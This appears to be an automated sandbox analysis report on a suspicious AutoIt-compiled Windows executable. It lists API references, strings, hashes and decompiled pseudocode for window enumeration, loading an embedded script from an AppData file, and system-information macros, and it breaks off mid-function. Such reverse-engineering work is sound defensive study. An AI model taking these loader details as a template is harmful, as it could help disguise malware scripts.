0x00f4eefd
0x00f4eeff
0x00f4f222
0x00f4f227
0x00f4f22f
0x00f4f235
0x00f4f237
0x00f4f1ba
0x00f4f1be
0x00f4f1c7
0x00f4f1d0
0x00f4f1d5
0x00f4f1dd
0x00f4f239
0x00f4f239
0x00f4f201
0x00f4f201
0x00f4f202
0x00f4f20b
0x00f4f20f
0x00000000
0x00f4f20f
0x00f4ef05
0x00f4ef0f
0x00f4ef14
0x00f4ef17
0x00f4ef19
0x00f4ef80
0x00f4ef85
0x00f4ef88
0x00f4ef8a
0x00f4efad
0x00f4efb2
0x00f4efb5
0x00f4efb7
0x00f4efde
0x00f4efe3
0x00f4efe6
0x00f4efe8
0x00f4f013
0x00f4f018
0x00f4f01b
0x00f4f01d
0x00f4f048
0x00f4f04d
0x00f4f050
0x00f4f052
0x00f4f07d
0x00f4f082
0x00f4f085
0x00f4f087
0x00f4f0b2
0x00f4f0b7
0x00f4f0ba
0x00f4f0bc
0x00f4f0e4
0x00f4f0e9
0x00f4f0ec
0x00f4f0ee
0x00f4f119
0x00f4f11e
0x00f4f121
0x00f4f123
0x00f4f153
0x00f4f158
0x00f4f15b
0x00f4f15d
0x00000000
0x00000000
0x00000000
0x00000000
0x00f4f125
0x00f4f125
0x00f4f128
0x00f4f12a
0x00f4f269
0x00f4f272
0x00f4f27b
0x00f4f28b
0x00f4f130
0x00f4f133
0x00f4f13f
0x00000000
0x00f4f13f
0x00f4f12a
0x00f4f0f0
0x00f4f0fa
0x00f4f0ff
0x00f4f102
0x00f4f104
0x00f4f163
0x00f4f167
0x00f4f170
0x00f4f17e
0x00f4f17e
0x00f4f187
0x00f4f106
0x00f4f106
0x00000000
0x00f4f106
0x00f4f104
0x00f4f0be
0x00f4f0c2
0x00f4f0c6
0x00f4f0c7
0x00f4f0cc
0x00f4f0cf
0x00000000
0x00f4f0cf
0x00f4f089
0x00f4f08d
0x00f4f094
0x00f4f095
0x00f4f09a
0x00f4f09d
0x00000000
0x00f4f09d
0x00f4f054
0x00f4f058
0x00f4f05f
0x00f4f060
0x00f4f065
0x00f4f068
0x00000000
0x00f4f068
0x00f4f01f
0x00f4f023
0x00f4f02a
0x00f4f02b
0x00f4f030
0x00f4f033
0x00000000
0x00f4f033
0x00f4efea
0x00f4efee
0x00f4eff5
0x00f4eff6
0x00f4effb
0x00f4effe
0x00000000
0x00f4effe
0x00f4efb9
0x00f4efb9
0x00f4efbd
0x00f4efc0
0x00f4efc9
0x00f4efca
0x00f4efce
0x00000000
0x00f4efce
0x00f4ef8c
0x00f4ef90
0x00f4ef99
0x00000000
0x00f4ef99
0x00f4ef1b
0x00f4ef1b
0x00f4ef1e
0x00f4ef20
0x00f4f240
0x00f4f249
0x00f4f252
0x00f4f262
0x00f4ef26
0x00f4ef26
0x00f4ef26
0x00f4ef29
0x00f4ef2c
0x00f4ef2f
0x00f4ef34
0x00f4ef38
0x00f4ef3d
0x00f4ef3e
0x00f4ef3e
0x00f4ef3f
0x00f4ef44
0x00f4ef47
0x00000000
0x00f4ef4d
0x00f4ef51
0x00f4ef5a
0x00f4ef63
0x00f4ef73
0x00f4ef73
0x00f4ef47
0x00f4ef20
0x00f4ef19
0x00f4eeff
0x00f4eee5
0x00000000
0x00f4eecb
0x00f4ee95
0x00000000
0x00f4ee81
0x00f4ee0e
0x00f4ee16
0x00f4ee1f
0x00f4ee23
0x00f4ee27
0x00f4ee2a
0x00f4ee2b
0x00f4ee2c
0x00f4ee2c
0x00f4ee35
0x00f4ee3e
0x00f4ee47
0x00f4ee57
0x00f4ee57
0x00000000

APIs

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

GetForegroundWindow.USER32(?,?,?,?,?,?,?), ref: 00F4EE0E
GetForegroundWindow.USER32(?,?,?,?,?,?), ref: 00F4F1FA
IsWindow.USER32(?), ref: 00F4F22F
GetDesktopWindow.USER32 ref: 00F4F2EB
EnumChildWindows.USER32 ref: 00F4F2F2
EnumWindows.USER32(00F41059,?), ref: 00F4F2FA

Part of subcall function 00F259E6: _wcslen.LIBCMT ref: 00F259F6

Strings

REGEXPCLASS, xrefs: 00F4EFA7
ALL, xrefs: 00F4F0DE
ACTIVE, xrefs: 00F4EED5
LAST, xrefs: 00F4EEBB
CLASS, xrefs: 00F4EF7A
REGEXPTITLE, xrefs: 00F4EF09
TITLE, xrefs: 00F4F113
HANDLE, xrefs: 00F4EEEF
INSTANCE, xrefs: 00F4F0AC

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 329138477-1919597938
Opcode ID: 0958e7269a5bac73d76719b1abdc6f6d1a853ddd7dce393eb7dc7a1f9d8d5d17
Instruction ID: affef198682604ca105cb8bdd855068909a12bb324f7ea2349cce8d5bf93ccbb
Opcode Fuzzy Hash: 0958e7269a5bac73d76719b1abdc6f6d1a853ddd7dce393eb7dc7a1f9d8d5d17
Instruction Fuzzy Hash: 5BF1F5728143459BCB04EF60DC82AAEB7E8BF94314F04592DFD456B243DB75E908DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F32833, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F32833(void* __eflags, signed int _a4, intOrPtr* _a8, signed int* _a12, char _a15) {
				char _v12;
				char _v16;
				signed int _v20;
				short _v44;
				short _v594;
				short _v1116;
				short _v1120;
				short _v1124;
				short _v1128;
				short _v1132;
				short _v1136;
				short _v1140;
				short _v1144;
				short _v1148;
				char _v1152;
				char _v1680;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int* _t87;
				intOrPtr _t88;
				void* _t108;
				intOrPtr* _t111;

				_t87 = _a12;
				_t111 = _a4;
				_push(0);
				_v1152 = 0;
				_v1148 = 0;
				_v1144 = 0;
				_v1140 = 0;
				_v1136 = 0;
				_v1132 = 0;
				_v1128 = 0;
				_v1124 = 0;
				_v1120 = 0;
				_v44 = 0;
				_t13 = _t111 + 4; // 0xf88614
				_v1116 = 0;
				_push( *_t13);
				_push( *_t111);
				_v594 = 0;
				_v16 = 1;
				E00EF4FF1(_t87, 0, _t108, _t111, __eflags);
				if(E00F3268F(__eflags, _t111, L">>>AUTOIT SCRIPT<<<",  &_v1680) == 0) {
					E00EF4C24( &_a15, 1, 1,  *_t111);
					E00EF4C24( &_a4, 4, 1,  *_t111);
					_t110 = _a4 ^ 0x000087bc;
					E00EF4C24( &_a4, 4, 1,  *_t111);
					 *_t87 = _a4 ^ 0x000087bc;
					E00EF4C24( &_a4, 4, 1,  *_t111);
					_push(1);
					_v20 = _a4 ^ 0x0000a685;
					_push(0x10);
					_push( *_t111);
					E00EF4FF1(_t87,  &_a4, _a4 ^ 0x000087bc, _t111, __eflags);
					_v12 = E00EF34DB( &_a4, _a4 ^ 0x000087bc, _t111,  *_t87);
					_t88 = E00EF34DB( &_a4, _a4 ^ 0x000087bc, _t111, _a4 ^ 0x000087bc);
					E00EF4C24(_t88, _t110, 1,  *_t111);
					_t27 = _t111 + 8; // 0x0
					E00F2AF66( *_t87, __eflags, _t88, _t110,  *_t27 + 0x2477);
					E00F121FA( &_v16, _t88, _t110);
					__eflags = _v20 - _v16;
					if(_v20 == _v16) {
						__eflags = _a15 - 1;
						if(_a15 != 1) {
							E00EF3668(_v12);
							_v12 = _t88;
						} else {
							_v1144 = 0;
							_v1140 = 0;
							_v1136 = 0;
							_v1124 = 0;
							_v1120 = 0;
							_v44 = 0;
							_v1116 = 0;
							_v1132 = 1;
							_v1128 = 1;
							_v594 = 0;
							_v1148 = _t88;
							_v1152 = _v12;
							E00F2B120(0, _t110,  &_v1152);
							E00EF3668(_t88);
						}
						 *_a8 = _v12;
						__eflags = 0;
						return 0;
					} else {
						E00EF3668(_v12);
						E00EF3668(_t88);
						return 0xa;
					}
				} else {
					return 6;
				}
			}

0x00f3283f
0x00f32843
0x00f32847
0x00f3284a
0x00f32850
0x00f32856
0x00f3285c
0x00f32862
0x00f32868
0x00f3286e
0x00f32874
0x00f3287a
0x00f32880
0x00f32883
0x00f32886
0x00f3288f
0x00f32892
0x00f32893
0x00f3289a
0x00f328a1
0x00f328bd
0x00f328d8
0x00f328e8
0x00f328fb
0x00f32901
0x00f32919
0x00f3291b
0x00f3292b
0x00f3292d
0x00f32932
0x00f32934
0x00f32935
0x00f32949
0x00f32959
0x00f3295d
0x00f32962
0x00f32970
0x00f3297b
0x00f32983
0x00f32986
0x00f329ab
0x00f329af
0x00f32a1e
0x00f32a23
0x00f329b1
0x00f329b3
0x00f329b9
0x00f329bf
0x00f329c5
0x00f329cb
0x00f329d3
0x00f329db
0x00f329e2
0x00f329e8
0x00f329fa
0x00f32a01
0x00f32a07
0x00f32a0d
0x00f32a13
0x00f32a13
0x00f32a31
0x00f32a33
0x00f32a39
0x00f32988
0x00f3298c
0x00f32995
0x00f329a8
0x00f329a8
0x00f328bf
0x00f328ca
0x00f328ca

APIs

_fseek.LIBCMT ref: 00F328A1

Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F326B4
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F326F6
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32714
Part of subcall function 00F3268F: _wcscpy.LIBCMT ref: 00F32748
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32758
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32776
Part of subcall function 00F3268F: _wcscpy.LIBCMT ref: 00F327A7

__fread_nolock.LIBCMT ref: 00F328D8
__fread_nolock.LIBCMT ref: 00F328E8
__fread_nolock.LIBCMT ref: 00F32901
__fread_nolock.LIBCMT ref: 00F3291B
_fseek.LIBCMT ref: 00F32935
_malloc.LIBCMT ref: 00F32940
_malloc.LIBCMT ref: 00F3294C
__fread_nolock.LIBCMT ref: 00F3295D
_free.LIBCMT ref: 00F3298C
_free.LIBCMT ref: 00F32995

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00F32842
>>>AUTOIT SCRIPT<<<, xrefs: 00F328B0

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock$_free_fseek_malloc_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 1255752989-1727138312
Opcode ID: 81a104be2eee50a8538d9be3c6c840d63cc4714652fae263458b59cfdb5586b2
Instruction ID: 60795b530570839f726a5e14cbe366f69df65bfe667a7657cc752fb9789953d3
Opcode Fuzzy Hash: 81a104be2eee50a8538d9be3c6c840d63cc4714652fae263458b59cfdb5586b2
Instruction Fuzzy Hash: CE511FF1900218ABDB60DF68DC81BAAB7F8EF88310F0055A9E648E7241E7759A80CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00F141CD, Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 91
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F141CD(intOrPtr _a4, int _a8, short* _a12, long _a16) {
				void* __edi;
				long _t9;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				char* _t24;
				short* _t25;

				_t25 = _a12;
				_t9 = 0;
				_t24 = _a16;
				 *_t24 = 0;
				_a16 = 0;
				if( *_t25 == 0) {
					L13:
					return _t9;
				} else {
					if(E00EF13CB(_t24, _t25, L"blank") != 0) {
						_t11 = E00EF13CB(_t24, _t25, L"info");
						if(_t11 == 0) {
							return LoadIconW(_t11, 0x7f04);
						}
						_t12 = E00EF13CB(_t24, _t25, L"question");
						if(_t12 != 0) {
							_t13 = E00EF13CB(_t24, _t25, L"stop");
							if(_t13 != 0) {
								_t14 = E00EF13CB(_t24, _t25, L"warning");
								if(_t14 != 0) {
									ExtractIconExW(_t25, _a8, 0,  &_a16, 1);
									_t9 = _a16;
									if(_t9 == 0) {
										goto L13;
									} else {
										 *_t24 = 1;
										return _t9;
									}
								} else {
									return LoadIconW(_t14, 0x7f03);
								}
							} else {
								return LoadIconW(_t13, 0x7f01);
							}
						} else {
							return LoadIconW(_t12, 0x7f02);
						}
					} else {
						return  *((intOrPtr*)(_a4 + 0x1b0));
					}
				}
			}

0x00f141d1
0x00f141d4
0x00f141d7
0x00f141da
0x00f141dc
0x00f141e2
0x00f142c1
0x00f142c1
0x00f141e8
0x00f141f8
0x00f142a2
0x00f142ac
0x00000000
0x00f142b8
0x00f14213
0x00f1421d
0x00f14237
0x00f14241
0x00f1425b
0x00f14265
0x00f14286
0x00f1428c
0x00f14291
0x00000000
0x00f14293
0x00f14293
0x00f14299
0x00f14299
0x00f14267
0x00f14276
0x00f14276
0x00f14243
0x00f14252
0x00f14252
0x00f1421f
0x00f1422e
0x00f1422e
0x00f141fe
0x00f1420a
0x00f1420a
0x00f141f8

APIs

__wcsicoll.LIBCMT ref: 00F141EE
__wcsicoll.LIBCMT ref: 00F142A2
LoadIconW.USER32(00000000,00007F04), ref: 00F142B8

Strings

blank, xrefs: 00F141E8
question, xrefs: 00F1420D
warning, xrefs: 00F14255
stop, xrefs: 00F14231
info, xrefs: 00F1429C

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2485277191-404129466
Opcode ID: ac807decbb245433a124a2185c10148fbe913136dd655c09c01b44bba655e3fd
Instruction ID: 64228da91f6035ad9864afed824df2a5137ba3a6e1571de4a8524e8f25c5ad41
Opcode Fuzzy Hash: ac807decbb245433a124a2185c10148fbe913136dd655c09c01b44bba655e3fd
Instruction Fuzzy Hash: 7B218672B4521D66DB109B65BC05FEA33989F95762F040032FA04E2186E3A6F961A2F6

Uniqueness

Uniqueness Score: -1.00%

Function 00F52095, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 377
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F52095(void* __eflags, void* __fp0, long _a4, struct HDC__* _a8, char _a12) {
				signed int _v6;
				struct _SYSTEMTIME* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				struct tagRECT _v52;
				signed int _v56;
				char _v68;
				char _v100;
				char _v626;
				short _v628;
				char _v644;
				char _v660;
				char _v676;
				char _v684;
				char _v700;
				char _v708;
				char _v716;
				char _v732;
				char _v740;
				char _v748;
				char _v756;
				char _v772;
				char _v780;
				short _v800;
				char _v1330;
				char _v1332;
				signed int __ebx;
				struct HWND__* __edi;
				signed int __esi;
				void* _t195;
				struct HDC__* _t215;
				signed int _t229;
				void* _t233;
				void* _t235;
				void* _t241;

				_t241 = __fp0;
				_t215 = _a8;
				_v628 = 0;
				E00EF2E60( &_v626, 0, 0x208);
				_v1332 = 0;
				E00EF2E60( &_v1330, 0, 0x208);
				_t235 = _t233 + 0x18;
				_t229 = 0;
				_v8 = _a12;
				while(1) {
					_t195 = E00EF305C( *((intOrPtr*)(0xf71770 + _t229 * 4)), _v8);
					_t235 = _t235 + 8;
					if(_t195 == 0) {
						break;
					}
					_t229 = _t229 + 1;
					if(_t229 < 0x60) {
						continue;
					}
					break;
				}
				_t239 = _t229 - 0x60;
				if(_t229 != 0x60) {
					__eflags = _t229 - 0x5f;
					if(__eflags > 0) {
						L144:
						E00EE2480( &_a12);
						__eflags = 0;
						return 0;
					} else {
						switch( *((intOrPtr*)(_t229 * 4 +  &M00F52D81))) {
							case 0:
								__ecx =  *__esi;
								__edx =  *( *__esi + 4);
								__eax =  *( *__esi + 4) + __esi + 4;
								__edi =  *(E00EE3EF0( *( *__esi + 4) + __esi + 4) + 0x14);
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 1:
								__eax =  *__esi;
								__ecx =  *( *__esi + 4);
								__eax = __ecx + __esi + 4;
								E00EE3EF0(__ecx + __esi + 4) = __eax + 0x20;
								__eax = E00EE90D0(__ebx, __ecx, __eax);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 2:
								__edx =  &_v20;
								GetLocalTime(__edx);
								__eax = _v6 & 0x0000ffff;
								_push(_v6 & 0x0000ffff);
								_push(L"%.3d");
								__ecx =  &_v628;
								_push( &_v628);
								goto L16;
							case 3:
								__edx =  &_v644;
								 &_v684 = E00F21DCB(__edx,  &_v684);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								__ecx =  &_v644;
								__eax = E00EE2480( &_v644);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 4:
								_t44 =  &_v772; // 0xf6be90
								__ecx = _t44;
								_t45 =  &_v756; // 0xf6bea0
								__edx = _t45;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t46 =  &_v772; // 0xf6be90
								__ecx = _t46;
								__eax = E00EE2480(_t46);
								_t47 =  &_a12; // 0xf6c1a0
								__ecx = _t47;
								E00EE2480(_t47) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 5:
								_t48 =  &_v732; // 0xf6bec0
								__eax = _t48;
								_t49 =  &_v708; // 0xf6bed8
								__ecx = _t49;
								__eax = E00F21DCB(__edx, _t49);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t50 =  &_v732; // 0xf6bec0
								__ecx = _t50;
								__eax = E00EE2480(_t50);
								_t51 =  &_a12; // 0xf6c1a8
								__ecx = _t51;
								E00EE2480(_t51) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 6:
								_t52 =  &_v660; // 0xf6bf10
								__edx = _t52;
								_t53 =  &_v716; // 0xf6bed8
								_t53 = E00F21DCB(__edx, _t53);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t54 =  &_v660; // 0xf6bf10
								__ecx = _t54;
								__eax = E00EE2480(_t54);
								_t55 =  &_a12; // 0xf6c1b0
								__ecx = _t55;
								E00EE2480(_t55) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 7:
								_t56 =  &_v676; // 0xf65e4c
								__ecx = _t56;
								_t57 =  &_v780; // 0xf65de4
								__edx = _t57;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t58 =  &_v676; // 0xf65e4c
								__ecx = _t58;
								__eax = E00EE2480(_t58);
								_t59 =  &_a12; // 0xf660fc
								__ecx = _t59;
								E00EE2480(_t59) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 8:
								_t60 =  &_v700; // 0xf6bef0
								__eax = _t60;
								_t61 =  &_v748; // 0xf6bec0
								__ecx = _t61;
								__eax = E00F21DCB(__edx, _t61);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t62 =  &_v700; // 0xf6bef0
								__ecx = _t62;
								__eax = E00EE2480(_t62);
								_t63 =  &_a12; // 0xf6c1b8
								__ecx = _t63;
								E00EE2480(_t63) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 9:
								_t64 =  &_v740; // 0xf6bed0
								__edx = _t64;
								__eax = E00F21DCB(__edx, __edx);
								_push(__eax);
								_push(L"%d");
								_t65 =  &_v628; // 0xf6bf40
								__eax = _t65;
								_push(_t65);
								L16:
								__eax = E00EF31BB(__edx);
								goto L17;
							case 0xa:
								__ecx =  &_v68;
								__edx =  &_v28;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								__ecx =  &_v68;
								__eax = E00EE2480( &_v68);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0xb:
								_t70 =  &_v628; // 0xf6bf48
								__eax = _t70;
								_push(_t70);
								_push(0);
								_push(0);
								_push(0x26);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xc:
								_t71 =  &_v628; // 0xf6bf48
								__ecx = _t71;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x2b);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xd:
								_t72 =  &_v628; // 0xf6bf48
								__edx = _t72;
								_push(_t72);
								_push(0);
								_push(0);
								_push(5);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xe:
								_t73 =  &_v628; // 0xf6bf48
								__eax = _t73;
								_push(_t73);
								_push(0);
								_push(0);
								_push(0x23);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xf:
								_t74 =  &_v628; // 0xf6bf48
								__ecx = _t74;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x19);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x10:
								_t75 =  &_v628; // 0xf6bf48
								__edx = _t75;
								_push(_t75);
								_push(0);
								_push(0);
								_push(0x2e);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x11:
								_t76 =  &_v628; // 0xf6bf48
								__eax = _t76;
								_push(_t76);
								_push(0);
								_push(0);
								_push(0x1f);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x12:
								_t77 =  &_v628; // 0xf6bf48
								__ecx = _t77;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x17);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x13:
								_t78 =  &_v628; // 0xf6bf48
								__edx = _t78;
								_push(_t78);
								_push(0);
								_push(0);
								_push(0x16);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x14:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0x18);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x15:
								__ecx =  &_v628;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x1a);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x16:
								__edx =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0x10);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x17:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(6);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x18:
								__ecx =  &_v628;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(2);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x19:
								__edx =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0xb);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x1a:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(7);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x1b:
								__ecx =  &_a4;
								__edx =  &_v628;
								_a4 = 0x104;
								__eax = GetComputerNameW( &_v628, __ecx);
								goto L18;
							case 0x1c:
								__eax =  &_v628;
								__eax = GetWindowsDirectoryW( &_v628, 0x104);
								__eflags = __eax;
								if(__eax == 0) {
									goto L144;
								} else {
									goto L18;
								}
								goto L145;
							case 0x1d:
								__ecx =  *0xf89604;
								__eflags = __ecx[0x16];
								_push(0x104);
								__edx =  &_v628;
								_push( &_v628);
								if(__eflags == 0) {
									__eax = GetSystemDirectoryW();
								} else {
									__eax = 0;
									_v16 = 0;
									_v8 = 0;
									__eax =  &_v16;
									L00F10D80(__eflags,  &_v16) = __eax->i();
									__ecx =  &_v16;
									__eax = L00F10E20(__ecx);
								}
								goto L18;
							case 0x1e:
								L141:
								__esi = __ebx;
								goto L142;
							case 0x1f:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 6;
								goto L143;
							case 0x20:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 3;
								goto L143;
							case 0x21:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 9;
								goto L143;
							case 0x22:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 5;
								goto L143;
							case 0x23:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0xa;
								goto L143;
							case 0x24:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x40;
								goto L143;
							case 0x25:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x41;
								goto L143;
							case 0x26:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 2;
								goto L143;
							case 0x27:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 7;
								goto L143;
							case 0x28:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 8;
								goto L143;
							case 0x29:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 4;
								goto L143;
							case 0x2a:
								L128:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 1;
								goto L143;
							case 0x2b:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x42;
								goto L143;
							case 0x2c:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x43;
								goto L143;
							case 0x2d:
								__eflags =  *0xf774ea - 1;
								goto L60;
							case 0x2e:
								__eflags =  *0xf88719 - 1;
								L60:
								__esi = __ebx;
								if(__eflags != 0) {
									L142:
									__eax = E00EE9190(__edi, __esi);
									 *__ebx = 0;
								} else {
									__eax = E00EE9190(__edi, __esi);
									 *__ebx = 1;
								}
								goto L143;
							case 0x2f:
								__eax =  *(__esi + 0xc8);
								goto L19;
							case 0x30:
								__eax =  *(__esi + 0xb8);
								goto L19;
							case 0x31:
								__eax =  *(__esi + 0xd8);
								goto L19;
							case 0x32:
								__eax =  *(__esi + 0xf4);
								__eax = E00F14891( *(__esi + 0xf4));
								__esi = __ebx;
								__edi = __eax;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x33:
								__ecx =  &_v628;
								__eax = GetCurrentDirectoryW(0x104, __ecx);
								goto L18;
							case 0x34:
								__eax = L"WIN32_NT";
								goto L19;
							case 0x35:
								__eax =  *0xf89604;
								__eflags =  *((char*)(__eax + 0x2a)) - 1;
								if( *((char*)(__eax + 0x2a)) != 1) {
									__eflags =  *((char*)(__eax + 0x28)) - 1;
									if( *((char*)(__eax + 0x28)) != 1) {
										__eflags =  *((char*)(__eax + 0x26)) - 1;
										if( *((char*)(__eax + 0x26)) != 1) {
											__eflags =  *((char*)(__eax + 0x24)) - 1;
											if( *((char*)(__eax + 0x24)) != 1) {
												__eflags =  *((char*)(__eax + 0x22)) - 1;
												if( *((char*)(__eax + 0x22)) != 1) {
													__eflags =  *((char*)(__eax + 0x20)) - 1;
													if( *((char*)(__eax + 0x20)) != 1) {
														__eflags =  *((char*)(__eax + 0x1e)) - 1;
														if( *((char*)(__eax + 0x1e)) != 1) {
															__eflags =  *((char*)(__eax + 0x1c)) - 1;
															if( *((char*)(__eax + 0x1c)) != 1) {
																goto L99;
															} else {
																__eax = L"WIN_2000";
															}
														} else {
															__eflags =  *((char*)(__eax + 0x30));
															__eax = L"WIN_XPe";
															if(__eflags == 0) {
